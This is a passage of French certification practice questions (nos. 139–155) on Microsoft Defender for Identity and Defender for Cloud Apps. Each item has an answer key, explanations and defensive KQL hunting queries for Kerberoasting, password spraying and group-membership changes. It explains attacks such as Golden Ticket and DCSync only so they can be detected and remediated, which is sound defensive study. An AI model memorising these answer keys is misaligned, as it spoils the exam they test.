Réponse : identifier le compte et la machine source, isoler/contenir, réinitialiser les identifiants concernés (et **deux fois krbtgt** si le compromis est avéré, selon les procédures), auditer les droits de réplication dans l'annuaire. Côté journaux, l'événement 4662 avec les GUID de réplication permet aussi la détection.

**Point à retenir pour l'examen :** DCSync depuis une machine non-DC = vol d'identifiants massif probable (dont krbtgt) → priorité maximale.

**Référence officielle**

- Alertes de sécurité dans Microsoft Defender pour Identity — https://learn.microsoft.com/fr-fr/defender-for-identity/alerts-overview

## Question n° 139 — Kerberoasting

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Avancé
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un attaquant demande des tickets de service Kerberos pour de nombreux comptes ayant un SPN, afin de les casser hors ligne. Quelle technique et quelle détection MDI correspondent ?

**A.** DCShadow (T1207) ; alerte « Suspected DCShadow attack ».

**B.** Password spraying (T1110.003) ; alerte de force brute.

**C.** Pass-the-hash (T1550.002) ; alerte « Suspected identity theft (pass-the-hash) ».

**D.** Kerberoasting (T1558.003) ; MDI détecte notamment l'exposition suspecte de SPN Kerberos (Suspected Kerberos SPN exposure).

**Bonne réponse : D**

**Correction détaillée**

Le **Kerberoasting** demande des **tickets TGS** pour des comptes de service (SPN), chiffrés avec le hachage du mot de passe du compte, puis tente de les **casser hors ligne**. MDI détecte l'**énumération/exposition de SPN** et les requêtes de tickets suspectes.

**Analyse des réponses incorrectes**

- **A.** DCShadow enregistre un faux DC pour pousser des modifications.
- **B.** Le spraying teste des mots de passe, il ne demande pas de tickets de service.
- **C.** Le pass-the-hash réutilise un hachage NTLM, sans demande massive de tickets de service.

**Explication technique**

Dans SecurityEvent, l'événement **4769** (demande de ticket de service) avec un chiffrement **RC4 (0x17)** et de nombreux services demandés par un même compte est un signal classique. Prévention : mots de passe longs et gérés (gMSA), AES uniquement, suppression des SPN inutiles, comptes de service avec privilèges minimaux.

**Exemple pratique**

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```kql
SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 4769
| where Status == "0x0"
| summarize Services = dcount(ServiceName), Tickets = count() by TargetUserName, IpAddress
| where Services > 15
```

**Point à retenir pour l'examen :** Kerberoasting = tickets TGS massifs (4769, RC4) cassés hors ligne ; parade : gMSA, AES, mots de passe longs.

**Référence officielle**

- Alertes de sécurité dans Microsoft Defender pour Identity — https://learn.microsoft.com/fr-fr/defender-for-identity/alerts-overview
- Événement de sécurité — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/securityevent

## Question n° 140 — Chemins de mouvement latéral

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Defender for Identity indique qu'un utilisateur standard, via des sessions ouvertes d'administrateurs sur certains postes, pourrait obtenir les identifiants d'un compte Admins du domaine en trois sauts. Comment s'appelle cette information et quel est son usage ?

**A.** Un chemin de mouvement latéral (Lateral Movement Path, LMP), utilisé de manière proactive pour réduire l'exposition des comptes sensibles.

**B.** Une alerte de pass-the-ticket confirmée.

**C.** Un rapport de Secure Score Azure.

**D.** Une règle d'automatisation Sentinel.

**Bonne réponse : A**

#### Correction détaillée

Les **LMP** montrent comment un attaquant pourrait progresser d'un compte non sensible vers un compte **sensible** en exploitant des sessions et des droits d'administration locale. Ils servent à **prioriser la réduction d'exposition** (supprimer les droits d'admin locaux excessifs, limiter les connexions d'administrateurs sur les postes, déployer LAPS).

#### Analyse des réponses incorrectes

- **B.** Le LMP décrit un chemin potentiel, pas une attaque avérée.
- **C.** Il s'agit d'une analyse propre à MDI sur l'annuaire.
- **D.** Sans rapport.

#### Explication technique

Les comptes sensibles (Admins du domaine, Entreprise, etc.) sont marqués automatiquement ; on peut en ajouter via les **balises d'entités** (Sensitive, Honeytoken, Exchange server). Les évaluations de posture d'identité (ISPM) et Security Exposure Management proposent aussi des chemins d'attaque.

**Point à retenir pour l'examen :** LMP = chemin potentiel vers un compte sensible ; sert à réduire l'exposition (droits locaux, sessions d'admin).

#### Référence officielle

- vue d'ensemble de Microsoft Defender pour Identity — https://learn.microsoft.com/fr-fr/defender-for-identity/what-is
- Balises d'entité de Defender for Identity dans Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-for-identity/entity-tags

## Question n° 141 — Compte leurre (honeytoken)

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Vous créez un compte « adm_backup_old » jamais utilisé, avec un nom attractif, pour détecter les attaquants. Comment exploiter MDI pour être alerté si quelqu'un tente de l'utiliser ?

**A.** Créer une watchlist Sentinel contenant le nom du compte, sans autre configuration.

**B.** Marquer le compte avec la balise « Honeytoken » dans Defender for Identity ; toute authentification ou activité sur ce compte déclenche une alerte.

**C.** Ajouter le compte au groupe Admins du domaine.

**D.** Désactiver la journalisation des connexions pour ce compte.

**Bonne réponse : B**

#### Correction détaillée

La balise **Honeytoken** dans MDI déclenche une alerte d'activité (« Honeytoken authentication activity » / « Honeytoken was queried via SAM-R ») dès que le compte est utilisé ou interrogé, signal de haute fidélité d'activité malveillante.

**Analyse des réponses incorrectes**

- **A.** Une watchlist seule ne déclenche rien sans règle.
- **C.** Dangereux : un vrai compte à privilèges.
- **D.** Empêcherait la détection.

**Explication technique**

Les comptes leurres doivent paraître crédibles mais n'avoir aucun usage légitime ni privilège réel. Ils complètent la tromperie (deception) disponible dans Defender XDR.

**Point à retenir pour l'examen :** Compte leurre = balise Honeytoken dans MDI → alerte à la moindre utilisation.

**Référence officielle**

- Balises d'entité de Defender for Identity dans Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-for-identity/entity-tags
- Alertes de sécurité dans Microsoft Defender pour Identity — https://learn.microsoft.com/fr-fr/defender-for-identity/alerts-overview

## Question n° 142 — Force brute sur Active Directory

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Vous recherchez des adresses IP qui ont échoué à s'authentifier sur plus de 30 comptes différents du domaine en une heure (pulvérisation de mots de passe vers AD). Quelle requête de chasse avancée est la plus appropriée ?

**A.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(1d)
| where FileName == "lsass.exe"
| summarize count() by DeviceName
```

**B.**

REQUÊTE KQL

```
IdentityQueryEvents
| where Timestamp > ago(1d)
| summarize dcount(QueryTarget) by IPAddress
```

**C.**

REQUÊTE KQL

```
IdentityLogonEvents
| where Timestamp > ago(1d)
| where ActionType == "LogonFailed"
| summarize Comptes = dcount(AccountUpn), Echecs = count() by IPAddress, bin(Timestamp, 1h)
| where Comptes > 30
| order by Comptes desc
```

**D.**

REQUÊTE KQL

```
IdentityLogonEvents
| where Timestamp > ago(1d)
| where ActionType == "LogonFailed"
| summarize Echecs = count() by AccountUpn
| where Echecs > 30
```

**Bonne réponse : C**

**Correction détaillée**

La **pulvérisation de mots de passe** (T1110.003) se caractérise par **beaucoup de comptes distincts** et **peu d'essais par compte** depuis une même source. `dcount(AccountUpn)` par IP et par heure (`bin`) la met en

évidence. **IdentityLogonEvents** contient les authentifications vues par MDI (et Entra ID selon les sources).

**Analyse des réponses incorrectes**

- **A.** Compte des exécutions de lsass.exe, sans lien avec des échecs d'authentification.
- **B.** IdentityQueryEvents décrit des requêtes de reconnaissance, pas des échecs d'authentification.
- **D.** Détecte la force brute sur un compte, pas la pulvérisation (beaucoup de comptes, peu d'essais chacun) depuis une même source.

**Explication technique**

MDI fournit aussi des alertes natives « Suspected brute-force attack (Kerberos, NTLM) » et « Password spray ». Côté cloud, la même logique s'applique à SigninLogs (ResultType 50126). Exclure les sources légitimes connues (serveurs d'applications, VPN).

**Résultat attendu**

Une ligne par IP et par heure où plus de 30 comptes différents ont échoué.

**Point à retenir pour l'examen :** Spraying = dcount(comptes) élevé par source ; force brute = beaucoup d'échecs sur un compte.

**Référence officielle**

- Alertes de sécurité dans Microsoft Defender pour Identity — https://learn.microsoft.com/fr-fr/defender-for-identity/alerts-overview
- IdentityLogonEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-identitylogonevents-table

## Question n° 143 — Actions de remédiation MDI

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un compte Active Directory local est confirmé compromis. Quelles actions de remédiation sont disponibles directement depuis le portail Defender grâce à Defender for Identity ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

**A.** Désactiver l'utilisateur dans Active Directory.

**B.** Chiffrer la base NTDS.dit.

**C.** Supprimer la forêt Active Directory.

**D.** Réinstaller le système d'exploitation du contrôleur de domaine.

**E.** Réinitialiser le mot de passe de l'utilisateur (forcer le changement).

**Bonne réponse : A, E**

**Correction détaillée**

MDI propose des **actions de remédiation** sur les comptes AD : **désactiver l'utilisateur**, **réinitialiser le mot de passe**, (selon la configuration) **marquer comme compromis** côté Entra ID Protection, **suspendre** dans Entra ID, **exiger une nouvelle connexion**. Elles s'exécutent via un **compte d'action** (gMSA recommandé) disposant des droits nécessaires.

**Analyse des réponses incorrectes**

- **B.** Sans rapport avec les actions de réponse disponibles.
- **C.** Action absurde et destructrice.
- **D.** Action d'infrastructure hors du périmètre des actions MDI.

**Explication technique**

Ces actions sont aussi utilisées par l'interruption automatique d'attaque. Elles sont journalisées dans le Centre de notifications. Pour un compte synchronisé, agir à la fois dans AD (source d'autorité) et dans Entra ID (sessions cloud).

**Point à retenir pour l'examen :** MDI : désactiver le compte AD, réinitialiser le mot de passe (via un compte d'action gMSA).

**Référence officielle**

- Actions de correction dans Microsoft Defender pour Identity — https://learn.microsoft.com/fr-fr/defender-for-identity/remediation-actions

## Question n° 144 — Pass-the-ticket et Golden Ticket

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Avancé
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** MDI signale « Suspected Golden Ticket usage (encryption downgrade) ». Quelle mesure d'éradication est indispensable si l'attaque est confirmée ?

**A.** Réinitialiser deux fois le mot de passe du compte krbtgt (en respectant l'intervalle de réplication), après avoir contenu l'attaquant et identifié la source de la compromission.

**B.** Réinitialiser uniquement le mot de passe de l'utilisateur qui a déclenché l'alerte.

**C.** Redémarrer tous les postes de travail.

**D.** Supprimer le compte krbtgt.

**Bonne réponse : A**

**Correction détaillée**

Un **Golden Ticket** (T1558.001) est un TGT forgé grâce au hachage du compte **krbtgt**. Pour invalider les tickets forgés, il faut **réinitialiser deux fois** le mot de passe de krbtgt (l'historique conserve le mot de passe précédent), en respectant le délai de réplication pour éviter les interruptions.

**Analyse des réponses incorrectes**

- **B.** Un Golden Ticket est forgé avec le hachage de krbtgt : il reste valide tant que krbtgt n'est pas changé.
- **C.** Sans effet sur la validité des tickets forgés.
- **D.** Impossible et destructeur pour Kerberos.

**Explication technique**

Avant l'éradication : déterminer comment le hachage de krbtgt a été obtenu (DCSync, accès au DC, sauvegarde), supprimer les accès de l'attaquant, sinon il pourra recommencer. Microsoft fournit des scripts et procédures pour cette opération sensible.

**Point à retenir pour l'examen :** Golden Ticket confirmé = double réinitialisation de krbtgt (après confinement et identification de la cause).

**Référence officielle**

- Alertes de sécurité dans Microsoft Defender pour Identity — https://learn.microsoft.com/fr-fr/defender-for-identity/alerts-overview

## Question n° 145 — Événements d'annuaire dans la chasse avancée

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Vous voulez lister les ajouts de membres aux groupes sensibles (Admins du domaine, Administrateurs de l'entreprise) observés par Defender for Identity au cours des 7 derniers jours. Quelle table de chasse avancée utiliser ?

**A.** DeviceRegistryEvents.

**B.** IdentityDirectoryEvents (ActionType « Group Membership changed »).

**C.** UrlClickEvents.

**D.** EmailEvents.

**Bonne réponse : B**

**Correction détaillée**

**IdentityDirectoryEvents** enregistre les événements d'annuaire capturés par MDI : modifications d'appartenance aux groupes, changements de mot de passe, modifications d'attributs, création de comptes, etc. Les détails (groupe cible, ajout/retrait) figurent dans **AdditionalFields**.

**Analyse des réponses incorrectes**

- **A.** Modifications de registre sur les appareils.
- **C.** Clics sur des URL.
- **D.** Événements de messagerie.

**Explication technique**

Dans Sentinel, l'équivalent côté journaux Windows est SecurityEvent (4728, 4732, 4756). En chasse avancée, l'analyse de `AdditionalFields` (type dynamique) se fait avec `parse_json()` ou l'accès par propriété (par exemple `AdditionalFields["TO.GROUP"]`).

**Exemple pratique**

KQL — CHASSE AVANCÉE MICROSOFT DEFENDER XDR

```
IdentityDirectoryEvents
| where Timestamp > ago(7d)
| where ActionType == "Group Membership changed"
| extend GroupeCible = tostring(AdditionalFields["TO.GROUP"])
| where GroupeCible in~ ("Domain Admins", "Enterprise Admins", "Admins du domaine")
| project Timestamp, AccountName, TargetAccountUpn, GroupeCible, DeviceName
```

**Point à retenir pour l'examen :** Changements d'annuaire vus par MDI = IdentityDirectoryEvents (détails dans AdditionalFields).

**Référence officielle**

- IdentityDirectoryEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-identitydirectoryevents-table

## Question n° 146 — Santé des capteurs MDI

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Débutant

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Plusieurs alertes MDI attendues ne se déclenchent plus depuis une semaine. Quelle est la première vérification à effectuer ?

**A.** Augmenter la rétention de IdentityLogonEvents.

**B.** Réinstaller Microsoft Sentinel.

**C.** Réduire le niveau d'automatisation de MDE.

**D.** Consulter les problèmes d'intégrité (health issues) de Defender for Identity : capteurs arrêtés, problèmes de connectivité, audit Windows mal configuré, compte de service d'annuaire en erreur.

**Bonne réponse : D**

**Correction détaillée**

La page des **problèmes d'intégrité** de MDI signale les capteurs déconnectés ou en erreur, les configurations d'audit manquantes, les problèmes de compte de service d'annuaire, les capteurs obsolètes, etc. Un capteur arrêté crée un angle mort.

**Analyse des réponses incorrectes**

- **A.** Sans effet sur la génération des alertes.
- **B.** Sans rapport avec la collecte MDI.
- **C.** Sans lien avec MDI.

**Explication technique**

Des notifications par e-mail des problèmes d'intégrité peuvent être configurées. Vérifiez aussi la couverture : tous les DC doivent avoir un capteur.

**Point à retenir pour l'examen :** Alertes MDI absentes → vérifier d'abord les problèmes d'intégrité des capteurs.

**Référence officielle**

- vue d'ensemble de Microsoft Defender pour Identity — https://learn.microsoft.com/fr-fr/defender-for-identity/what-is

## 2.7 Defender for Cloud Apps : applications SaaS et Shadow IT

### Question n° 147 — Découverte du Shadow IT sans collecteur

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Vous voulez identifier les applications cloud utilisées par les employés depuis leurs postes Windows gérés par Defender for Endpoint, sans déployer de collecteur de journaux sur les pare-feu. Quelle méthode utiliser ?

**A.** Les stratégies de fichiers.

**B.** Les connecteurs d'applications par API.

**C.** L'intégration de Defender for Cloud Apps avec Defender for Endpoint, qui alimente Cloud Discovery à partir de la télémétrie réseau des appareils.

**D.** Le contrôle d'application par accès conditionnel.

**Bonne réponse : C**

**Correction détaillée**

L'**intégration MDE** envoie à **Cloud Discovery** les données de trafic des appareils intégrés, sans collecteur ni téléchargement de journaux. Le tableau de bord présente les applications découvertes, leur **score de risque** (0 à 10 dans le catalogue) et les utilisateurs/appareils associés.

**Analyse des réponses incorrectes**

- **A.** Elles analysent des fichiers dans des applications connectées.
- **B.** Ils surveillent des applications déjà connues et approuvées (Microsoft 365, Salesforce...), pas la découverte du Shadow IT.
- **D.** Il contrôle des sessions vers des applications intégrées à Entra ID, il ne découvre pas les applications inconnues.

**Explication technique**

Autres sources de Cloud Discovery : **collecteur de journaux** (conteneur Docker recevant les journaux de pare-feu/proxy) et **chargement manuel** d'instantanés de journaux. L'intégration MDE permet aussi de **bloquer** les applications marquées « non approuvées ».

**Point à retenir pour l'examen :** Shadow IT depuis les postes MDE = intégration MDE → Cloud Discovery (sans collecteur).

**Référence officielle**

- Vue d'ensemble de la découverte d'applications cloud — https://learn.microsoft.com/fr-fr/defender-cloud-apps/set-up-cloud-discovery

- Intégrer Microsoft Defender pour point de terminaison à Microsoft Defender for Cloud Apps — https://learn.microsoft.com/fr-fr/defender-cloud-apps/mde-integration

## Question n° 148 — Bloquer une application non approuvée

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un service de partage de fichiers à haut risque est massivement utilisé. Vous le marquez « Non approuvé » dans Defender for Cloud Apps, mais les utilisateurs y accèdent toujours. Quelle configuration manque pour que le blocage soit appliqué sur les postes ?

**A.** L'option d'application des accès (Enforce app access) de l'intégration MDE dans Defender for Cloud Apps, avec la protection réseau en mode bloc sur les appareils.

**B.** Une watchlist Sentinel contenant le domaine.

**C.** Une stratégie anti-hameçonnage dans Defender for Office 365.

**D.** Une règle ASR « Bloquer les applications non approuvées ».

**Bonne réponse : A**

### Correction détaillée

Lorsqu'une application est marquée **non approuvée**, MDCA crée des **indicateurs d'URL/domaines** dans MDE si l'option **Enforce app access** est activée ; les appareils les bloquent via la **protection réseau** (mode bloc) et les indicateurs réseau personnalisés.

### Analyse des réponses incorrectes

- **B.** Une watchlist ne bloque pas le trafic.
- **C.** Sans rapport avec l'accès web aux applications.
- **D.** Cette règle n'existe pas ; le blocage passe par les indicateurs réseau et la protection réseau.

### Explication technique

Le marquage « Surveillé » (Monitored) permet d'afficher un avertissement contournable. Les blocages apparaissent dans la chronologie des appareils et DeviceEvents. Il est possible de cibler des groupes d'appareils.

**Point à retenir pour l'examen :** Non approuvé + Enforce app access + protection réseau en bloc = application bloquée sur les postes MDE.

### Référence officielle

- Intégrer Microsoft Defender pour point de terminaison à Microsoft Defender for Cloud Apps — https://learn.microsoft.com/fr-fr/defender-cloud-apps/mde-integration
- Vue d'ensemble de la découverte d'applications cloud — https://learn.microsoft.com/fr-fr/defender-cloud-apps/set-up-cloud-discovery

## Question n° 149 — Contrôle des sessions

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Les utilisateurs doivent pouvoir consulter Salesforce depuis des appareils personnels non gérés, mais sans télécharger de fichiers. Quelle solution répond au besoin ?

**A.** Une stratégie de découverte d'applications.

**B.** L'isolation des appareils personnels dans MDE.

**C.** Un connecteur d'application API Salesforce uniquement.

**D.** Une stratégie d'accès conditionnel Microsoft Entra qui route les sessions vers le contrôle d'application par accès conditionnel, et une stratégie de session Defender for Cloud Apps qui bloque les téléchargements depuis les appareils non gérés.

**Bonne réponse : D**

#### Correction détaillée

Le **contrôle d'application par accès conditionnel** (proxy inverse) applique en temps réel des **stratégies de session** : bloquer/protéger les téléchargements, bloquer le copier-coller ou l'impression, surveiller l'activité. Il est activé par une stratégie d'**accès conditionnel Entra** avec le contrôle « Utiliser le contrôle d'application par accès conditionnel ».

#### Analyse des réponses incorrectes

- **A.** Elle alerte sur l'usage d'applications, sans contrôle de session.
- **B.** Ces appareils ne sont pas gérés.
- **C.** Le connecteur API surveille et gouverne a posteriori, il ne bloque pas un téléchargement en temps réel.

#### Explication technique

Les **stratégies d'accès** contrôlent l'accès lui-même (bloquer l'accès depuis certains contextes). Le caractère géré de l'appareil peut s'appuyer sur la conformité Intune ou la jonction hybride. Pour les applications non Microsoft, l'application doit être intégrée à Entra ID (SSO).

**Point à retenir pour l'examen :** Contrôle en temps réel (bloquer le téléchargement) = Conditional Access App Control + stratégie de session.

#### Référence officielle

- Créer des stratégies de session Microsoft Defender for Cloud Apps — https://learn.microsoft.com/fr-fr/defender-cloud-apps/session-policy-aad
- Contrôle des applications d'accès conditionnel dans Microsoft Defender for Cloud Apps — https://learn.microsoft.com/fr-fr/defender-cloud-apps/proxy-intro-aad

## Question n° 150 — Alerte de voyage impossible

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Defender for Cloud Apps lève une alerte « Impossible travel » pour un utilisateur connecté depuis Paris puis, 40 minutes plus tard, depuis Singapour. Quelle vérification permet le plus souvent d'identifier un faux positif ?

**A.** Supprimer immédiatement le compte de l'utilisateur.

**B.** Vérifier si l'une des adresses IP correspond à un VPN d'entreprise, un proxy cloud ou un fournisseur connu utilisé par l'utilisateur, et consulter le journal d'activité pour les appareils et agents utilisateur.

**C.** Vérifier le Secure Score du locataire.

**D.** Désactiver la stratégie d'anomalies pour tout le locataire.

**Bonne réponse : B**

#### Correction détaillée

Les faux positifs de **voyage impossible** proviennent souvent de **VPN**, de **proxys cloud** ou de passerelles d'accès. On compare les IP, l'agent utilisateur, l'appareil, l'application et les activités effectuées. Les **plages d'adresses IP** de l'organisation peuvent être déclarées (balises « Corporate », « VPN ») pour affiner la détection.

#### Analyse des réponses incorrectes

- **A.** Mesure destructrice avant toute analyse.

- **C.** Sans rapport avec cette alerte.
- **D.** Supprimerait une détection importante.

**Explication technique**

La stratégie de détection d'anomalies **Impossible travel** a une période d'apprentissage et une sensibilité réglable ; on peut ignorer les connexions réussies depuis des pays connus de l'utilisateur. Si l'activité est confirmée malveillante : **confirmer l'utilisateur compromis**, révoquer les sessions, réinitialiser les identifiants.

**Point à retenir pour l'examen :** Voyage impossible : vérifier VPN/proxy/IP connues avant de conclure ; déclarer les plages IP de l'organisation.

**Référence officielle**

- Créer des stratégies de détection d'anomalies Defender for Cloud Apps — https://learn.microsoft.com/fr-fr/defender-cloud-apps/anomaly-detection-policy
- Comment examiner les alertes de détection d'anomalie — https://learn.microsoft.com/fr-fr/defender-cloud-apps/investigate-anomaly-alerts

## Question n° 151 — Actions de gouvernance sur un utilisateur

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Une stratégie MDCA détecte un téléchargement massif de fichiers SharePoint par un utilisateur dont le compte semble compromis. Quelle action de gouvernance de Defender for Cloud Apps augmente aussi son niveau de risque dans Entra ID Protection, déclenchant les stratégies d'accès conditionnel basées sur le risque ?

**A.** « Notifier l'utilisateur ».

**B.** « Supprimer le partage externe ».

**C.** « Confirmer que l'utilisateur est compromis » (Confirm user compromised).

**D.** « Appliquer une étiquette de confidentialité ».

**Bonne réponse : C**

**Correction détaillée**

L'action **Confirm user compromised** définit le **risque utilisateur à élevé** dans Microsoft Entra ID Protection, ce qui active les stratégies d'accès conditionnel basées sur le risque (par exemple blocage ou changement de mot de passe sécurisé).

**Analyse des réponses incorrectes**

- **A.** Envoie un message, sans effet sur le risque.
- **B.** Concerne les fichiers partagés.
- **D.** Concerne les fichiers.

**Explication technique**

Autres actions utilisateur : **Suspendre l'utilisateur** (bloque la connexion dans Entra ID), **Exiger une nouvelle connexion** (révoque les sessions), notifier l'utilisateur ou son responsable. Ces actions peuvent être automatiques dans une stratégie ou manuelles depuis l'alerte/la page utilisateur.

**Point à retenir pour l'examen :** Confirm user compromised (MDCA) → risque utilisateur élevé dans Entra ID Protection.

**Référence officielle**

- Régir les actions pour les applications connectées dans Defender for Cloud Apps — https://learn.microsoft.com/fr-fr/defender-cloud-apps/governance-actions

## Question n° 152 — Application OAuth à risque

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Avancé
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Une application OAuth inconnue, d'un éditeur non vérifié, a obtenu le consentement de 120 utilisateurs avec les autorisations Mail.ReadWrite et Files.ReadWrite.All. Que faire en priorité ?

**A.** Examiner l'application (éditeur, autorisations, activité, utilisateurs), et si elle est malveillante, l'interdire/la désactiver et révoquer les consentements, puis enquêter sur les données consultées.

**B.** Désactiver Defender for Cloud Apps.

**C.** Ignorer l'alerte car les utilisateurs ont donné leur consentement.

**D.** Réinitialiser uniquement les mots de passe des utilisateurs.

**Bonne réponse : A**

### Correction détaillée

Le **consentement illicite** (T1528) permet à une application malveillante d'accéder aux données des utilisateurs via des **jetons OAuth**, indépendamment de leur mot de passe. Defender for Cloud Apps (gouvernance des applications) permet d'**examiner** l'application et de la **désactiver** ou d'**interdire** son usage, ce qui révoque son accès.

### Analyse des réponses incorrectes

- **B.** Contre-productif.
- **C.** Le consentement peut avoir été obtenu par hameçonnage (illicit consent grant).
- **D.** Les jetons OAuth accordés à l'application restent valides sans révocation du consentement.

### Explication technique

Prévention : restreindre le consentement des utilisateurs (éditeurs vérifiés, autorisations à faible impact), activer le **flux de demande de consentement administrateur**. Investigation : AuditLogs (« Consent to application »), CloudAppEvents, MicrosoftGraphActivityLogs pour les appels effectués par l'application.

**Point à retenir pour l'examen :** Application OAuth malveillante = désactiver/interdire l'application et révoquer les consentements ; le changement de mot de passe ne suffit pas.

### Référence officielle

- Examiner et corriger les applications OAuth à risque — https://learn.microsoft.com/fr-fr/defender-cloud-apps/investigate-risky-oauth
- Gouvernance des applications dans Microsoft Defender for Cloud Apps — https://learn.microsoft.com/fr-fr/defender-cloud-apps/app-governance-manage-app-governance

## Question n° 153 — Stratégie de fichier pour données sensibles

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Vous voulez détecter automatiquement les fichiers OneDrive contenant des numéros de carte bancaire partagés publiquement, et retirer le partage. Quelle fonctionnalité utiliser ?

**A.** Une règle ASR.

**B.** Une stratégie de découverte d'applications.

**C.** Une stratégie d'anomalie « Impossible travel ».

**D.** Une stratégie de fichiers Defender for Cloud Apps avec inspection du contenu (types d'informations sensibles) et l'action de gouvernance « Supprimer le partage public ».

**Bonne réponse : D**

**Correction détaillée**

Les **stratégies de fichiers** analysent les fichiers des applications connectées (via API) selon leur partage, leur propriétaire et leur **contenu** (types d'informations sensibles Purview, étiquettes), et appliquent des **actions de gouvernance** (supprimer le partage externe/public, appliquer une étiquette, mettre en quarantaine, notifier).

**Analyse des réponses incorrectes**

- **A.** Concerne les terminaux.
- **B.** Concerne le Shadow IT.
- **C.** Concerne les connexions.

**Explication technique**

La DLP Microsoft Purview couvre aussi ces scénarios pour Microsoft 365 ; MDCA apporte la cohérence pour des applications tierces (Box, Dropbox, Google Workspace…).

**Point à retenir pour l'examen :** Fichiers sensibles partagés dans des apps connectées = stratégie de fichiers MDCA + action de gouvernance.

**Référence officielle**

- Stratégies de fichier dans Microsoft Defender for Cloud Apps — https://learn.microsoft.com/fr-fr/defender-cloud-apps/data-protection-policies

## Question n° 154 — Activité depuis une adresse IP anonyme

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Débutant

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Une alerte indique qu'un utilisateur administrateur a effectué des opérations depuis une adresse IP associée à Tor. De quel type de détection s'agit-il ?

**A.** Une alerte de santé de capteur MDI.

**B.** Une détection d'anomalie « Activity from anonymous IP addresses » de Defender for Cloud Apps (signal aussi présent côté Entra ID Protection pour les connexions).

**C.** Une alerte de Secure Score.

**D.** Une règle ASR.

**Bonne réponse : B**

**Correction détaillée**

MDCA dispose de stratégies de détection d'anomalies intégrées, dont **activité depuis des adresses IP anonymes** (Tor, proxys anonymiseurs), **activité depuis un pays peu fréquent**, **voyage impossible**, **téléchargement massif**, **suppression massive**, **activité de rançongiciel**, **manipulation suspecte de règles de boîte de réception**.

**Analyse des réponses incorrectes**

- **A.** Concerne l'état des capteurs.
- **C.** Le Secure Score ne génère pas ce type d'alerte.
- **D.** Les règles ASR s'appliquent aux processus des terminaux.

**Explication technique**

Les alertes MDCA remontent dans les incidents Defender XDR et peuvent être ingérées par Sentinel. Pour les comptes administrateurs, ces alertes doivent être priorisées.

**Point à retenir pour l'examen :** IP anonyme (Tor) = anomalie MDCA (et risque de connexion Entra ID Protection).

**Référence officielle**

- Créer des stratégies de détection d'anomalies Defender for Cloud Apps — https://learn.microsoft.com/fr-fr/defender-cloud-apps/anomaly-detection-policy

## Question n° 155 — Connecteur d'application API

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Quel est l'intérêt principal d'un connecteur d'application (API) Defender for Cloud Apps vers Microsoft 365 ou une application SaaS tierce ?

**A.** Obtenir la visibilité sur les activités, fichiers et comptes de l'application, et appliquer des actions de gouvernance via les API du fournisseur.

**B.** Découvrir les applications non approuvées utilisées sur le réseau.

**C.** Remplacer l'authentification unique Entra ID.

**D.** Bloquer en temps réel les téléchargements dans le navigateur.

**Bonne réponse : A**

**Correction détaillée**

Les **connecteurs d'applications** utilisent les API des fournisseurs pour collecter **activités**, **comptes** et **fichiers**, alimenter les détections d'anomalies et les stratégies, et exécuter des **actions de gouvernance** (suspendre un utilisateur, retirer un partage).

**Analyse des réponses incorrectes**

- **B.** C'est le rôle de Cloud Discovery.
- **C.** Le connecteur n'est pas un fournisseur d'identité.
- **D.** C'est le rôle du contrôle de session (proxy).

**Explication technique**

